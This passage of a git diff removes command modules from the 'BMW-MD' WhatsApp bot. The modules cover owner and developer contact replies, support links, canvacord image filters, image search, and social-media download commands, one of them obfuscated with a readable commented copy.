https://whatsapp.com/channel/0029VaZuGSxEawdxZK9CzM0Y'})}],_0x4ba821=generateWAMessageFromContent(_0x2552bb,{'viewOnceMessage':{'message':{'messageContextInfo':{'deviceListMetadata':{},'deviceListMetadataVersion':0x2},'interactiveMessage':proto[_0x5792e1(0x17b)][_0x5792e1(0x16f)]['create']({'body':proto['Message']['InteractiveMessage'][_0x5792e1(0x18c)][_0x5792e1(0x16a)]({'text':_0x774441}),'footer':proto[_0x5792e1(0x17b)]['InteractiveMessage'][_0x5792e1(0x16d)]['create']({'text':'\x20*Made\x20by\x20Ibrahim\x20Adams*'}),'header':proto[_0x5792e1(0x17b)][_0x5792e1(0x16f)][_0x5792e1(0x163)][_0x5792e1(0x16a)]({'title':'','subtitle':'','hasMediaAttachment':![]}),'nativeFlowMessage':proto[_0x5792e1(0x17b)]['InteractiveMessage'][_0x5792e1(0x183)]['create']({'buttons':_0x5d157c})})}}},{});await _0x1e6649['relayMessage'](_0x2552bb,_0x4ba821['message'],{'messageId':_0x4ba821['key']['id']});}else throw new Error(_0x5792e1(0x17f));}catch(_0x1ff971){console['error'](_0x5792e1(0x17f),_0x1ff971[_0x5792e1(0x15e)]),_0x3c48b(_0x5792e1(0x17f));}});
diff --git a/scs/bmwbutton.js b/scs/bmwbutton.js
deleted file mode 100644
index 139597f..0000000
--- a/scs/bmwbutton.js
+++ /dev/null
@@ -1,2 +0,0 @@
-
-
diff --git a/scs/bmwc.js b/scs/bmwc.js
deleted file mode 100644
index efeb319..0000000
--- a/scs/bmwc.js
+++ /dev/null
@@ -1,102 +0,0 @@
-
-const { adams } = require("../Ibrahim/adams");
-const {getAllSudoNumbers,isSudoTableNotEmpty} = require("../lib/sudo")
-const conf = require("../config");
-
-adams({ nomCom: "owner", categorie: "General", reaction: "🚘" }, async (dest, zk, commandeOptions) => {
- const { ms , mybotpic } = commandeOptions;
-
- const thsudo = await isSudoTableNotEmpty()
-
- if (thsudo) {
- let msg = `*My Super-User*\n
- *Owner Number*\n :
-- 🌟 @${conf.NUMERO_OWNER}
-
------- *other sudos* -----\n`
-
- let sudos = await getAllSudoNumbers()
-
- for ( const sudo of sudos) {
- if (sudo) { // Vérification plus stricte pour éliminer les valeurs vides ou indéfinies
- sudonumero = sudo.replace(/[^0-9]/g, '');
- msg += `- 💼 @${sudonumero}\n`;
- } else {return}
-
- } const ownerjid = conf.NUMERO_OWNER.replace(/[^0-9]/g) + "@s.whatsapp.net";
- const mentionedJid = sudos.concat([ownerjid])
- console.log(sudos);
- console.log(mentionedJid)
- zk.sendMessage(
- dest,
- {
- image : { url : mybotpic() },
- caption : msg,
- mentions : mentionedJid
- }
- )
- } else {
- const vcard =
- 'BEGIN:VCARD\n' + // metadata of the contact card
- 'VERSION:3.0\n' +
- 'FN:' + conf.OWNER_NAME + '\n' + // full name
- 'ORG:undefined;\n' + // the organization of the contact
- 'TEL;type=CELL;type=VOICE;waid=' + conf.NUMERO_OWNER + ':+' + conf.NUMERO_OWNER + '\n' + // WhatsApp ID + phone number
- 'END:VCARD';
- zk.sendMessage(dest, {
- contacts: {
- displayName: conf.OWNER_NAME,
- contacts: [{ vcard }],
- },
- },{quoted:ms});
- }
-});
-
-adams({ nomCom: "dev", categorie: "General", reaction: "🚘" }, async (dest, zk, commandeOptions) => {
- const { ms, mybotpic } = commandeOptions;
-
- const devs = [
- { nom: "Ibrahim", numero: "254710772666" },
- { nom: "᚛Baraka᚜", numero: "255762190568" },
- { nom: "Beltah", numero: "254114141192" },
- // Ajoute d'autres développeurs ici avec leur nom et numéro
- ];
-
- let message = "WELCOME TO BMW HELP CENTER! ASK FOR HELP FROM ANY OF THE DEVELOPERS BELOW:\n\n";
- for (const dev of devs) {
- message += `----------------\n• ${dev.nom} : https://wa.me/${dev.numero}\n`;
- }
- var lien = mybotpic()
- if (lien.match(/\.(mp4|gif)$/i)) {
- try {
- zk.sendMessage(dest, { video: { url: lien }, caption:message }, { quoted: ms });
- }
- catch (e) {
- console.log("🥵🥵 Menu erreur " + e);
- repondre("🥵🥵 Menu erreur " + e);
- }
-}
-// Vérification pour .jpeg ou .png
-else if (lien.match(/\.(jpeg|png|jpg)$/i)) {
- try {
- zk.sendMessage(dest, { image: { url: lien }, caption:message }, { quoted: ms });
- }
- catch (e) {
- console.log("🥵🥵 Menu erreur " + e);
- repondre("🥵🥵 Menu erreur " + e);
- }
-}
-else {
- repondre(lien)
- repondre("link error");
-
-}
-});
-
-adams({ nomCom: "support", categorie: "General" }, async (dest, zk, commandeOptions) => {
- const { ms, repondre, auteurMessage, } = commandeOptions;
-
- repondre("THANK YOU FOR CHOOSING BMW, HERE ARE OUR SUPPORTIVE LINKS\n\n ☉ CHANNEL LINK IS HERE ☉ \n\n❒[https://whatsapp.com/channel/0029VaZuGSxEawdxZK9CzM0Y] \n\n ☉ GROUP LINK IS HERE ☉\n\n❒[https://chat.whatsapp.com/F5BXJci8EDS9AJ6sfKMXIS] \n\n ☉YOUTUBE LINK IS HERE ☉\n\n❒[https://www.youtube.com/@ibrahimaitech] \n\n\n𝑪𝒓𝒆𝒂𝒕𝒆𝒅 𝒃𝒚 𝑰𝒃𝒓𝒂𝒉𝒊𝒎 𝑨𝒅𝒂𝒎𝒔")
- await zk.sendMessage(auteurMessage,{text : `THANK YOU FOR CHOOSING BMW-MD,MAKE SURE YOU FOLLOW THESE LINKS. `},{quoted :ms})
-
-})
diff --git a/scs/bmwca.js b/scs/bmwca.js
deleted file mode 100644
index 460c88e..0000000
--- a/scs/bmwca.js
+++ /dev/null
@@ -1,70 +0,0 @@
-const { adams } = require("../Ibrahim/adams");
-const canvacord = require("canvacord");
-const {uploadImageToImgur} = require("../Ibrahim/imgur")
-
-// Generic function to create a canvacord order
-function createCanvacordCommand(commandName, canvacordFunction) {
- adams({
- nomCom: commandName,
- categorie: "Image-Edit",
- reaction: "🎉"
- }, async (origineMessage, zk, commandeOptions) => {
- const { ms, msgRepondu, auteurMsgRepondu } = commandeOptions;
- const clientId = 'b40a1820d63cd4e' ;
-
- try {
- let img;
- if (msgRepondu) {
-
- if (msgRepondu.imageMessage) {
- const image = await zk.downloadAndSaveMediaMessage(msgRepondu.imageMessage)
- img = await uploadImageToImgur(image, clientId )
- } else {
-
- img = await zk.profilePictureUrl(auteurMsgRepondu, 'image'); }
- } else {
- img = "https://i.pinimg.com/564x/84/09/12/840912dd744e6662ab211b8070b5d84c.jpg";
- }
-
- const result = await canvacordFunction(img);
-
- await zk.sendMessage(origineMessage, { image: result }, { quoted: ms });
- } catch (error) {
- console.error(`Error when ordering "${commandName}":`, error);
- }
- });
-}
-
-// Créer des commandes avec différentes fonctions canvacord
-createCanvacordCommand("shit", canvacord.Canvacord.shit);
-createCanvacordCommand("wasted", canvacord.Canvacord.wasted);
-createCanvacordCommand("wanted", canvacord.Canvacord.wanted);
-createCanvacordCommand("trigger", canvacord.Canvacord.trigger);
-createCanvacordCommand("trash", canvacord.Canvacord.trash);
-createCanvacordCommand("rip", canvacord.Canvacord.rip);
-createCanvacordCommand("sepia", canvacord.Canvacord.sepia);
-createCanvacordCommand("rainbow", canvacord.Canvacord.rainbow);
-createCanvacordCommand("hitler", canvacord.Canvacord.hitler);
-createCanvacordCommand("invert", canvacord.Canvacord.invert);
-createCanvacordCommand("jail", canvacord.Canvacord.jail);
-createCanvacordCommand("affect", canvacord.Canvacord.affect);
- createCanvacordCommand("beautiful", canvacord.Canvacord.beautiful);
- createCanvacordCommand("blur", canvacord.Canvacord.blur);
-
- createCanvacordCommand("circle", canvacord.Canvacord.circle);
- createCanvacordCommand("facepalm", canvacord.Canvacord.facepalm);
- createCanvacordCommand("greyscale", canvacord.Canvacord.greyscale);
- createCanvacordCommand("joke", canvacord.Canvacord.jokeOverHead);
-
-
-
-
-
-
-
-
-
-
-
-
-
diff --git a/scs/bmwce.js b/scs/bmwce.js
deleted file mode 100644
index b46bdfa..0000000
--- a/scs/bmwce.js
+++ /dev/null
@@ -1,36 +0,0 @@
-
-
-
-
-
-
-const {adams} = require('../Ibrahim/adams');
-var gis = require('g-i-s');
-
-
-adams({
- nomCom: "img",
- categorie: "Search",
- reaction: "📷"
-},
-async (dest, zk, commandeOptions) => {
- const { repondre, ms, arg } = commandeOptions;
-
- if (!arg[0]) {
- repondre('which image ? !');
- return;
- }
-
- const searchTerm = arg.join(" ");
- //repondre("termes " +searchTerm);
- gis(searchTerm,envoiImage);
-
- function envoiImage(e,r)
- {
- if(e){repondre("oups une error ")}else{for(var a=0;a<5;a++){zk.sendMessage(dest,{image:{url:r[a].url}},{quoted:ms});}}
-
- }
-
- //gis(searchTerm,envoiImage);
-
-});
diff --git a/scs/bmwcii.js b/scs/bmwcii.js
deleted file mode 100644
index dd7aab1..0000000
--- a/scs/bmwcii.js
+++ /dev/null
@@ -1,455 +0,0 @@
-const _0x1d6e98=_0x1eb6;(function(_0xf9a2e0,_0x2faecd){const _0x43dd89=_0x1eb6,_0x293e23=_0xf9a2e0();while(!![]){try{const _0x1f628e=parseInt(_0x43dd89(0xa5))/0x1*(parseInt(_0x43dd89(0x90))/0x2)+-parseInt(_0x43dd89(0x9b))/0x3*(parseInt(_0x43dd89(0xa7))/0x4)+-parseInt(_0x43dd89(0x6c))/0x5+-parseInt(_0x43dd89(0x6d))/0x6+parseInt(_0x43dd89(0x77))/0x7*(-parseInt(_0x43dd89(0x71))/0x8)+-parseInt(_0x43dd89(0x89))/0x9+-parseInt(_0x43dd89(0xaf))/0xa*(-parseInt(_0x43dd89(0xa4))/0xb);if(_0x1f628e===_0x2faecd)break;else _0x293e23['push'](_0x293e23['shift']());}catch(_0x487988){_0x293e23['push'](_0x293e23['shift']());}}}(_0x153d,0xd2014));const {mediafireDl}=require(_0x1d6e98(0xaa)),{adams}=require('../Ibrahim/adams'),getFBInfo=require('@xaviabot/fb-downloader');function _0x1eb6(_0x1865c9,_0x17b9e5){const _0x153d53=_0x153d();return _0x1eb6=function(_0x1eb6fe,_0x491f5b){_0x1eb6fe=_0x1eb6fe-0x66;let _0xaa2fe1=_0x153d53[_0x1eb6fe];return _0xaa2fe1;},_0x1eb6(_0x1865c9,_0x17b9e5);}adams({'nomCom':_0x1d6e98(0x68),'categorie':_0x1d6e98(0xae)},async(_0x443624,_0x3293a5,_0x51afbf)=>{const _0x3a3bea=_0x1d6e98,{ms:_0x435786,repondre:_0x4dbe98,arg:_0x7a859c}=_0x51afbf,_0x57335b=_0x7a859c[_0x3a3bea(0x92)]('\x20');if(!_0x57335b)return _0x4dbe98(_0x3a3bea(0xa6));if(!_0x57335b['includes']('github.com'))return _0x4dbe98(_0x3a3bea(0x9a));let [,_0xf8e241,_0x3b19fc]=_0x57335b['match'](/(?:https|git)(?::\/\/|@)github\.com[\/:]([^\/:]+)\/(.+)/i)||[];_0x3b19fc=_0x3b19fc[_0x3a3bea(0x6f)](/.git$/,'');let _0x68e95=_0x3a3bea(0x84)+_0xf8e241+'/'+_0x3b19fc+'/zipball',_0x43b2a0=(await fetch(_0x68e95,{'method':_0x3a3bea(0xab)}))[_0x3a3bea(0x8e)]['get'](_0x3a3bea(0x94))[_0x3a3bea(0x97)](/attachment; filename=(.*)/)[0x1];_0x3293a5[_0x3a3bea(0x9c)](_0x443624,{'document':{'url':_0x68e95},'fileName':_0x43b2a0+_0x3a3bea(0x88),'mimetype':_0x3a3bea(0xa8)},{'quoted':_0x435786})[_0x3a3bea(0xa2)](_0x445e50=>_0x4dbe98('error'));}),adams({'nomCom':'tiktok','categorie':'Download'},async(_0x5d38de,_0x45ab7f,_0x11aebd)=>{const _0x574c55=_0x1d6e98,{ms:_0x73cd0c,repondre:_0x107b4c,arg:_0x19fa20}=_0x11aebd;let _0x71d1a2=_0x19fa20[_0x574c55(0x92)]('\x20');if(!_0x19fa20[0x0])return _0x107b4c(_0x574c55(0xa1));const _0x241546=await fetch(_0x574c55(0x8a)+_0x71d1a2),_0x257104=await _0x241546[_0x574c55(0x6e)]();await _0x107b4c('A\x20moment,\x20*BMW-MD*\x20is\x20Downloading\x20that...');const _0x30920c=_0x257104['data'][_0x574c55(0x87)];await _0x45ab7f['sendMessage'](_0x5d38de,{'video':{'url':_0x30920c},'caption':'_╰►VIDEO\x20DOWNLOADED\x20BY_\x20*BMW-MD*','gifPlayback':![]},{'quoted':_0x73cd0c});}),adams({'nomCom':_0x1d6e98(0x76),'categorie':_0x1d6e98(0xae)},async(_0x1c430f,_0x46a8e6,_0x102136)=>{const _0x29d5c5=_0x1d6e98,{ms:_0x4e1dcb,repondre:_0x1ced16,arg:_0xd2394d}=_0x102136;let _0x2ceba5=_0xd2394d[_0x29d5c5(0x92)]('\x20');if(!_0xd2394d[0x0]){_0x1ced16(_0x29d5c5(0x9f));return;}try{const _0x1481aa=await fetch(_0x29d5c5(0x8d)+_0x2ceba5),_0x15ff56=await _0x1481aa[_0x29d5c5(0x6e)](),_0x58f630=_0x15ff56[_0x29d5c5(0x7d)];_0x46a8e6[_0x29d5c5(0x9c)](_0x1c430f,{'image':{'url':_0x58f630},'caption':_0x29d5c5(0x66),'gifPlayback':![]},{'quoted':_0x4e1dcb});}catch(_0x21e9e6){_0x1ced16(_0x29d5c5(0x99)+_0x21e9e6);}}),adams({'nomCom':_0x1d6e98(0xac),'categorie':_0x1d6e98(0xae)},async(_0x22f059,_0x461ec0,_0x1afc29)=>{const _0x5fc0ca=_0x1d6e98,{ms:_0xee7e60,repondre:_0x401ba9,arg:_0x9693b2}=_0x1afc29;if(!_0x9693b2[0x0]){_0x401ba9(_0x5fc0ca(0xa0));return;};try{let _0x352bc4=await fetch(_0x5fc0ca(0x78));_0x352bc4[_0x5fc0ca(0x8c)][_0x5fc0ca(0x8c)][_0x5fc0ca(0x8c)][0x0]['type']==_0x5fc0ca(0x93)?_0x461ec0[_0x5fc0ca(0x9c)](_0x22f059,{'video':{'url':_0x352bc4[_0x5fc0ca(0x8c)]['data'][_0x5fc0ca(0x8c)][0x0]['url_download']},'caption':_0x5fc0ca(0x98),'gifPlayback':![]},{'quoted':_0xee7e60}):_0x461ec0[_0x5fc0ca(0x9c)](_0x22f059,{'image':{'url':_0x352bc4[_0x5fc0ca(0x8c)][_0x5fc0ca(0x8c)][_0x5fc0ca(0x8c)][0x0][_0x5fc0ca(0x82)]},'caption':'Here\x20is\x20your\x20Instagram\x20image.\x0aPowered\x20by\x20*BMW-MD*'});}catch(_0x37cee8){_0x401ba9(_0x5fc0ca(0x69)+_0x37cee8);}}),adams({'nomCom':'video-dl','categorie':_0x1d6e98(0xae)},async(_0x4c1826,_0x4a0561,_0x44059d)=>{const _0x346bd9=_0x1d6e98,{ms:_0x4008b1,repondre:_0x1bfa04,arg:_0x2ccc17}=_0x44059d;let _0x53688d=_0x2ccc17[_0x346bd9(0x92)]('\x20');if(!_0x2ccc17[0x0]){_0x1bfa04(_0x346bd9(0x8f));return;}try{const _0x46927c=await fetch('https://www.noobs-api.000.pe/dipto/alldl?url='+_0x53688d),_0x139c10=await _0x46927c[_0x346bd9(0x6e)](),_0x2dbcc9=_0x139c10['result'];_0x4a0561[_0x346bd9(0x9c)](_0x4c1826,{'video':{'url':_0x2dbcc9},'caption':'_╰►VIDEO\x20DOWNLOADED\x20BY_\x20*BMW-MD*','gifPlayback':![]},{'quoted':_0x4008b1});}catch(_0x1154f4){_0x1bfa04(_0x346bd9(0x99)+_0x1154f4);}}),adams({'nomCom':_0x1d6e98(0x75),'categorie':_0x1d6e98(0xae)},async(_0x5b8e3d,_0x5540c4,_0x1e1c26)=>{const _0x30896a=_0x1d6e98,{ms:_0x48c053,repondre:_0x47575a,arg:_0x21e5ed}=_0x1e1c26;let _0x4adde6=_0x21e5ed[_0x30896a(0x92)]('\x20');if(!_0x21e5ed[0x0]){_0x47575a('Please\x20insert\x20a\x20*TWITTER\x20or\x20X\x20Video\x20Link*\x20for\x20*BMW-MD*\x20to\x20download\x20');return;}try{const _0x395757=await fetch(_0x30896a(0x81)+_0x4adde6),_0x5051a9=await _0x395757[_0x30896a(0x6e)]();if(_0x5051a9&&_0x5051a9['data']&&_0x5051a9[_0x30896a(0x8c)]['HD']){const _0x18124e=_0x5051a9[_0x30896a(0x8c)]['HD'];_0x5540c4[_0x30896a(0x9c)](_0x5b8e3d,{'video':{'url':_0x18124e},'caption':_0x30896a(0x85),'gifPlayback':![]},{'quoted':_0x48c053});}}catch(_0x3ef46){_0x47575a(_0x30896a(0x72)+_0x3ef46);}}),adams({'nomCom':_0x1d6e98(0x79),'categorie':_0x1d6e98(0xae)},async(_0x236640,_0x2eef16,_0x1194ad)=>{const _0x14ef5d=_0x1d6e98,{ms:_0x3ce23c,repondre:_0xbdf30c,arg:_0x594be1}=_0x1194ad;let _0x4625bd=_0x594be1[_0x14ef5d(0x92)]('\x20');if(!_0x594be1[0x0]){_0xbdf30c(_0x14ef5d(0x8b));return;};try{const _0x26e13c=await mediafireDl(_0x4625bd);if(_0x26e13c[0x0]['size'][_0x14ef5d(0x70)]('MB')[0x0]>=0x64)return m[_0x14ef5d(0x74)](_0x14ef5d(0x67));await _0x2eef16[_0x14ef5d(0x9c)](_0x236640,{'document':{'url':_0x26e13c[0x0][_0x14ef5d(0x9d)]},'fileName':_0x26e13c[0x0][_0x14ef5d(0x7a)],'mimetype':_0x26e13c[0x0][_0x14ef5d(0x7e)],'caption':_0x14ef5d(0x73)+_0x26e13c[0x0][_0x14ef5d(0x7a)]},{'quoted':_0x3ce23c});}catch(_0x32298d){_0xbdf30c(_0x14ef5d(0x7f)+_0x32298d);}}),adams({'nomCom':'fb','categorie':_0x1d6e98(0xae),'reaction':_0x1d6e98(0xa3)},async(_0x1a25c6,_0x1093b2,_0xdd563)=>{const _0x5f1dc6=_0x1d6e98,{repondre:_0x5560c9,ms:_0x3fd942,arg:_0x23f76c}=_0xdd563;if(!_0x23f76c[0x0]){_0x5560c9('Insert\x20a\x20public\x20facebook\x20video\x20link!');return;}const _0x210699=_0x23f76c[_0x5f1dc6(0x92)]('\x20');try{getFBInfo(_0x210699)[_0x5f1dc6(0x86)](_0x508db8=>{const _0x1eea69=_0x5f1dc6;let _0xe8c5f='\x0a\x20*Title:*\x20'+_0x508db8[_0x1eea69(0x6b)]+_0x1eea69(0x80)+_0x508db8[_0x1eea69(0xad)]+'\x0a\x20';_0x1093b2[_0x1eea69(0x9c)](_0x1a25c6,{'image':{'url':_0x508db8[_0x1eea69(0x95)]},'caption':_0xe8c5f},{'quoted':_0x3fd942}),_0x1093b2[_0x1eea69(0x9c)](_0x1a25c6,{'video':{'url':_0x508db8['hd']},'caption':_0x1eea69(0x7c)},{'quoted':_0x3fd942});})[_0x5f1dc6(0xa2)](_0x2d1226=>{const _0x524dfa=_0x5f1dc6;console[_0x524dfa(0x7b)](_0x524dfa(0xa9),_0x2d1226),_0x5560c9(_0x524dfa(0x6a));});}catch(_0xab1487){console[_0x5f1dc6(0xb1)](_0x5f1dc6(0x9e),_0xab1487),_0x5560c9('An\x20error\x20occurred\x20while\x20downloading\x20your\x20media.',_0xab1487);}}),adams({'nomCom':_0x1d6e98(0xb0),'categorie':'Download','reaction':_0x1d6e98(0xa3)},async(_0x7c724e,_0x49724a,_0x1edb91)=>{const _0x383628=_0x1d6e98,{repondre:_0x392003,ms:_0x536e9a,arg:_0x479e12}=_0x1edb91;if(!_0x479e12[0x0]){_0x392003(_0x383628(0x91));return;}const _0x439e43=_0x479e12['join']('\x20');try{getFBInfo(_0x439e43)[_0x383628(0x86)](_0x365ad0=>{const _0x1d79bf=_0x383628;let _0x3e059b=_0x1d79bf(0x83)+_0x365ad0[_0x1d79bf(0x6b)]+_0x1d79bf(0x80)+_0x365ad0[_0x1d79bf(0xad)]+'\x0a\x20';_0x49724a[_0x1d79bf(0x9c)](_0x7c724e,{'image':{'url':_0x365ad0[_0x1d79bf(0x95)]},'caption':_0x3e059b},{'quoted':_0x536e9a}),_0x49724a['sendMessage'](_0x7c724e,{'video':{'url':_0x365ad0['sd']},'caption':_0x1d79bf(0x7c)},{'quoted':_0x536e9a});})['catch'](_0x2623c6=>{const _0x52a265=_0x383628;console[_0x52a265(0x7b)](_0x52a265(0xa9),_0x2623c6),_0x392003(_0x2623c6);});}catch(_0x43dbf9){console[_0x383628(0xb1)](_0x383628(0x96),_0x43dbf9),_0x392003('An\x20error\x20occurred\x20while\x20Bmw-Md\x20was\x20downloading\x20your\x20media.',_0x43dbf9);}});function _0x153d(){const _0x296621=['Give\x20me\x20any\x20social\x20media\x20image\x20link!','provide\x20an\x20instragam\x20link\x20','Please\x20insert\x20a\x20tiktok\x20video\x20link!','catch','📽️','5980601uMvVYR','12RZrvCF','Please\x20provide\x20a\x20valid\x20github\x20link.','4OYNNmK','application/zip','Error:','../Ibrahim/dl/Function','HEAD','instagram','url','Download','100cXXYXg','fb2','error','_╰►IMAGE\x20DOWNLOADED\x20BY_\x20*BMW-MD*','File\x20tooooo\x20big','gitclone','An\x20error\x20Occurred\x20while\x20downloading\x20your\x20media.\x0a*KEEP\x20USING\x20BMW-MD*','try\x20fb2\x20on\x20this\x20link','title','4483660cgMOkD','8857014aRUpXw','json','replace','split','48FSKnpN','I\x20am\x20unable\x20to\x20download\x20your\x20media.\x20\x0a\x20','Downloaded\x20by\x20FLASH-MD:\x20','reply','twitter','image-dl','746403srBrud','https://www.guruapi.tech/api/igdlv1?url=${link}','mediafire','nama','log','_╰►VIDEO\x20DOWNLOADED\x20BY_\x20*BMW-MD*','result','mime','I\x20am\x20unable\x20to\x20download\x20the\x20file.\x20\x0a\x20','\x0a\x0a\x20\x0a\x20*Direct\x20Link:*\x20','https://api.maher-zubair.tech/download/twitter?url=','url_download','\x0a\x20*Title:*\x20','https://api.github.com/repos/','Here\x20is\x20your\x20Twitter\x20Video.\x0a\x20_Downloaded\x20by_\x20*BMW-MD*','then','no_wm','.zip','1970892oUPbXZ','https://api.prabath-md.tech/api/tiktokdl?url=','Provide\x20mediafire\x20link\x0a\x0amediafire\x20','data','https://aiodownloader.onrender.com/download?url=','headers','Give\x20me\x20any\x20social\x20media\x20video\x20link!','36854QLKeDE','Insert\x20a\x20public\x20facebook\x20video\x20link!\x20!','join','video','content-disposition','thumbnail','An\x20error\x20occurred\x20while\x20Bmw-Md\x20was\x20downloading\x20your\x20media:','match','Here\x20is\x20your\x20Instagram\x20video.\x0aPowered\x20by\x20*BMW-MD*','A\x20fatal\x20error\x20has\x20occured...\x20\x0a\x20','Is\x20that\x20a\x20GitHub\x20repo\x20link\x20?!','4698573KGlmhD','sendMessage','link','An\x20error\x20occurred\x20while\x20*BMW-MD*\x20was\x20downloading\x20your\x20media:'];_0x153d=function(){return _0x296621;};return _0x153d();}
-
-
-
-/**
-const {
- mediafireDl
-} = require("../Ibrahim/dl/Function");
-const {
- adams
-} = require("../Ibrahim/adams");
-const getFBInfo = require("@xaviabot/fb-downloader");
-adams({
- 'nomCom': "gitclone",
- 'categorie': "Download"
-}, async (_0x1c2fd1, _0x45058e, _0x4f56d8) => {
- const {
- ms: _0x4ec678,
- repondre: _0x3f8a54,
- arg: _0x18d6ab
- } = _0x4f56d8;
- const _0x4bab3c = _0x18d6ab.join(" ");
- if (!_0x4bab3c) {
- return _0x3f8a54("Please provide a valid github link.");
- }
- if (!_0x4bab3c.includes("github.com")) {
- return _0x3f8a54("Is that a GitHub repo link ?!");
- }
- let [, _0x3acdad, _0x3f9933] = _0x4bab3c.match(/(?:https|git)(?::\/\/|@)github\.com[\/:]([^\/:]+)\/(.+)/i) || [];
- _0x3f9933 = _0x3f9933.replace(/.git$/, '');
- let _0x394ebd = "https://api.github.com/repos/" + _0x3acdad + '/' + _0x3f9933 + "/zipball";
- let _0x5c6799 = (await fetch(_0x394ebd, {
- 'method': "HEAD"
- })).headers.get("content-disposition").match(/attachment; filename=(.*)/)[1];
- _0x45058e.sendMessage(_0x1c2fd1, {
- 'document': {
- 'url': _0x394ebd
- },
- 'fileName': _0x5c6799 + ".zip",
- 'mimetype': "application/zip"
- }, {
- 'quoted': _0x4ec678
- })["catch"](_0x2c3dbe => _0x3f8a54("error"));
-});
-adams({
- 'nomCom': "tiktok",
- 'categorie': "Download"
-}, async (_0x42b1bf, _0x3a058d, _0x11f9d9) => {
- const {
- ms: _0x333a0e,
- repondre: _0x1a32e5,
- arg: _0x1b0b51
- } = _0x11f9d9;
- let _0x21bd31 = _0x1b0b51.join(" ");
- if (!_0x1b0b51[0]) {
- return _0x1a32e5("Please insert a tiktok video link!");
- }
- const _0x5d8397 = await fetch("https://api.prabath-md.tech/api/tiktokdl?url=" + _0x21bd31);
- const _0x38d5e1 = await _0x5d8397.json();
- await _0x1a32e5("A moment, *BMW-MD* is Downloading that...");
- const _0x504587 = _0x38d5e1.data.no_wm;
- await _0x3a058d.sendMessage(_0x42b1bf, {
- 'video': {
- 'url': _0x504587
- },
- 'caption': "_╰►VIDEO DOWNLOADED BY_ *BMW-MD*",
- 'gifPlayback': false
- }, {
- 'quoted': _0x333a0e
- });
-});
-adams({
- 'nomCom': "image-dl",
- 'categorie': "Download"
-}, async (_0x38d623, _0x42db7e, _0x1281b3) => {
- const {
- ms: _0x529878,
- repondre: _0x226795,
- arg: _0x2f8336
- } = _0x1281b3;
- let _0x3fc64a = _0x2f8336.join(" ");
- if (!_0x2f8336[0]) {
- _0x226795("Give me any social media image link!");
- return;
- }
- try {
- const _0x13451d = await fetch("https://aiodownloader.onrender.com/download?url=" + _0x3fc64a);
- const _0xb125b5 = await _0x13451d.json();
- const _0x9cb53 = _0xb125b5.result;
- _0x42db7e.sendMessage(_0x38d623, {
- 'image': {
- 'url': _0x9cb53
- },
- 'caption': "_╰►IMAGE DOWNLOADED BY_ *BMW-MD*",
- 'gifPlayback': false
- }, {
- 'quoted': _0x529878
- });
- } catch (_0x53d9be) {
- _0x226795("A fatal error has occured... \n " + _0x53d9be);
- }
-});
-adams({
- 'nomCom': "instagram",
- 'categorie': "Download"
-}, async (_0xf2a010, _0x3c01ae, _0x488f66) => {
- const {
- ms: _0x324321,
- repondre: _0x1eddf6,
- arg: _0x57528e
- } = _0x488f66;
- if (!_0x57528e[0]) {
- _0x1eddf6("provide an instragam link ");
- return;
- }
- ;
- try {
- let _0xfb5ca8 = await fetch("https://www.guruapi.tech/api/igdlv1?url=${link}");
- if (_0xfb5ca8.data.data.data[0].type == "video") {
- _0x3c01ae.sendMessage(_0xf2a010, {
- 'video': {
- 'url': _0xfb5ca8.data.data.data[0].url_download
- },
- 'caption': "Here is your Instagram video.\nPowered by *BMW-MD*",
- 'gifPlayback': false
- }, {
- 'quoted': _0x324321
- });
- } else {
- _0x3c01ae.sendMessage(_0xf2a010, {
- 'image': {
- 'url': _0xfb5ca8.data.data.data[0].url_download
- },
- 'caption': "Here is your Instagram image.\nPowered by *BMW-MD*"
- });
- }
- } catch (_0x4fdba6) {
- _0x1eddf6("An error Occurred while downloading your media.\n*KEEP USING BMW-MD*" + _0x4fdba6);
- }
-});
-adams({
- 'nomCom': "video-dl",
- 'categorie': "Download"
-}, async (_0x46a8a0, _0x17b453, _0x2b60f2) => {
- const {
- ms: _0x589c36,
- repondre: _0x574033,
- arg: _0x23ec22
- } = _0x2b60f2;
- let _0x5e9106 = _0x23ec22.join(" ");
- if (!_0x23ec22[0]) {
- _0x574033("Give me any social media video link!");
- return;
- }
- try {
- const _0x22af05 = await fetch("https://www.noobs-api.000.pe/dipto/alldl?url=" + _0x5e9106);
- const _0x170f9e = await _0x22af05.json();
- const _0x3c3efe = _0x170f9e.result;
- _0x17b453.sendMessage(_0x46a8a0, {
- 'video': {
- 'url': _0x3c3efe
- },
- 'caption': "_╰►VIDEO DOWNLOADED BY_ *BMW-MD*",
- 'gifPlayback': false
- }, {
- 'quoted': _0x589c36
- });
- } catch (_0x1cf0b8) {
- _0x574033("A fatal error has occured... \n " + _0x1cf0b8);
- }
-});
-adams({
- 'nomCom': "twitter",
- 'categorie': "Download"
-}, async (_0x40d611, _0x29f4c2, _0x216827) => {
- const {
- ms: _0x178e4c,
- repondre: _0x330fea,
- arg: _0x1091be
- } = _0x216827;
- let _0x35e7e3 = _0x1091be.join(" ");
- if (!_0x1091be[0]) {
- _0x330fea("Please insert a *TWITTER or X Video Link* for *BMW-MD* to download ");
- return;
- }
- try {
- const _0x1e0844 = await fetch("https://api.maher-zubair.tech/download/twitter?url=" + _0x35e7e3);
- const _0x1e3a2f = await _0x1e0844.json();
- if (_0x1e3a2f && _0x1e3a2f.data && _0x1e3a2f.data.HD) {
- const _0x32bc4e = _0x1e3a2f.data.HD;
- _0x29f4c2.sendMessage(_0x40d611, {
- 'video': {
- 'url': _0x32bc4e
- },
- 'caption': "Here is your Twitter Video.\n _Downloaded by_ *BMW-MD*",
- 'gifPlayback': false
- }, {
- 'quoted': _0x178e4c
- });
- }
- } catch (_0x19fce0) {
- _0x330fea("I am unable to download your media. \n " + _0x19fce0);
- }
-});
-adams({
- 'nomCom': "mediafire",
- 'categorie': "Download"
-}, async (_0x12d48b, _0x1a75ba, _0x253e26) => {
- const {
- ms: _0x1cac40,
- repondre: _0x56acc0,
- arg: _0x4f5641
- } = _0x253e26;
- let _0x404891 = _0x4f5641.join(" ");
- if (!_0x4f5641[0]) {
- _0x56acc0("Provide mediafire link\n\nmediafire ");
- return;
- }
- ;
- try {
- const _0x5c499c = await mediafireDl(_0x404891);
- if (_0x5c499c[0].size.split('MB')[0] >= 100) {
- return m.reply("File tooooo big");
- }
- await _0x1a75ba.sendMessage(_0x12d48b, {
- 'document': {
- 'url': _0x5c499c[0].link
- },
- 'fileName': _0x5c499c[0].nama,
- 'mimetype': _0x5c499c[0].mime,
- 'caption': "Downloaded by FLASH-MD: " + _0x5c499c[0].nama
- }, {
- 'quoted': _0x1cac40
